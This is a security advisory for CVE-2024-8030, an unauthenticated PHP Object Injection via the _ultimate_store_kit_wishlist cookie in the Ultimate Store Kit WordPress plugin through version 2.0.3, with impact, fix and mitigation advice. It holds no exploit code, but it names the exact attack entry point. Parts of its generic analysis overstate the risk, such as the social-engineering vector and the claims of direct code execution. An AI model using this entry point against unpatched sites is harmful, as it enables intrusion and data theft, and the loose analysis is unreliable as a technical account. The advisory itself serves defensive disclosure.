CVE-2024-8030
Overview
This vulnerability is a PHP Object Injection caused by unsafe deserialization of untrusted input. The flaw arises from the processing of the _ultimate_store_kit_wishlist cookie within the Ultimate Store Kit plugin for WooCommerce, EDD, and Elementor. The deserialization mechanism lacks proper validation or sanitization, enabling injection of crafted PHP objects.
Vulnerability Description
The Ultimate Store Kit Elementor Addons, Woocommerce Builder, EDD Builder, Elementor Store Builder, Product Grid, Product Table, Woocommerce Slider plugin is vulnerable to PHP Object Injection via deserialization of untrusted input via the _ultimate_store_kit_wishlist cookie in versions up to , and including, 2.0.3. This makes it possible for an unauthenticated attacker to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker or above to delete arbitrary files, retrieve sensitive data, or execute code.
Impact
An unauthenticated remote attacker can exploit this vulnerability to inject malicious PHP objects via the _ultimate_store_kit_wishlist cookie, potentially leading to arbitrary code execution, file deletion, or data exposure if a suitable POP chain exists in the environment. No user interaction or authentication is required (AV:N/AC:L/PR:N/UI:N). This can result in full compromise of the affected WordPress site, including data breaches and service disruption.
Solution
Upgrade the Ultimate Store Kit plugin to a version later than 2.0.3 where this vulnerability is addressed. Refer to the WordFence vulnerability advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/ef566dca-91ed-4929-b36b-4e424e07e1d4) for detailed patch information and verify that the plugin’s helper.php file reflects the fix as seen in changeset 3141022. No alternative mitigations are documented; applying the official patch is required.

Full Analysis
The vulnerability present in the Ultimate Store Kit Elementor Addons, which affects various WordPress e-commerce functionalities, revolves around PHP Object Injection through the deserialization of untrusted input. Specifically, this issue arises from the handling of data stored in the _ultimate_store_kit_wishlist cookie. When this cookie is processed by the plugin, it does not adequately validate or sanitize the input, allowing an attacker to craft a malicious payload that can be deserialized into a PHP object. This lack of proper input validation is a critical flaw, as it opens the door for potential exploitation by unauthenticated users, which significantly amplifies the risk associated with this vulnerability.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An attacker could leverage social engineering techniques to entice users into visiting a specially crafted website or could directly target the vulnerable WordPress site. Once the malicious payload is injected into the _ultimate_store_kit_wishlist cookie, the attacker can trigger the deserialization process, leading to the execution of arbitrary PHP code. Although the plugin itself does not contain a "Property Oriented Programming" (POP) chain, the presence of additional plugins or themes on the target system could facilitate the execution of more complex attacks, such as file deletion, data retrieval, or remote code execution. This scenario underscores the importance of a comprehensive security posture that considers the entire ecosystem of plugins and themes in use.
The real-world impact of this vulnerability can be severe, especially for businesses relying on the Ultimate Store Kit for their e-commerce operations. An attacker successfully exploiting this vulnerability could gain unauthorized access to sensitive customer data, including payment information and personal details, leading to potential data breaches. The repercussions of such incidents extend beyond immediate financial losses; they can also result in reputational damage, loss of customer trust, and regulatory penalties under data protection laws. For organizations, the business risk is compounded by the potential for downtime and the costs associated with incident response and remediation efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and address weaknesses in the WordPress environment. Additionally, monitoring for unusual activity related to cookie manipulation or unexpected deserialization attempts can provide early warning signs of an attempted exploit. It is also crucial to keep all plugins and themes updated to their latest versions, as developers often release patches to address known vulnerabilities. Employing a web application firewall (WAF) can further enhance security by filtering out malicious requests before they reach the application layer.
In conclusion, the vulnerability in the Ultimate Store Kit Elementor Addons presents a significant threat to WordPress e-commerce sites. The ease of exploitation, combined with the potential for severe consequences, necessitates immediate attention from site administrators. By adopting proactive detection and mitigation strategies, organizations can safeguard their digital assets and maintain the integrity of their online operations.
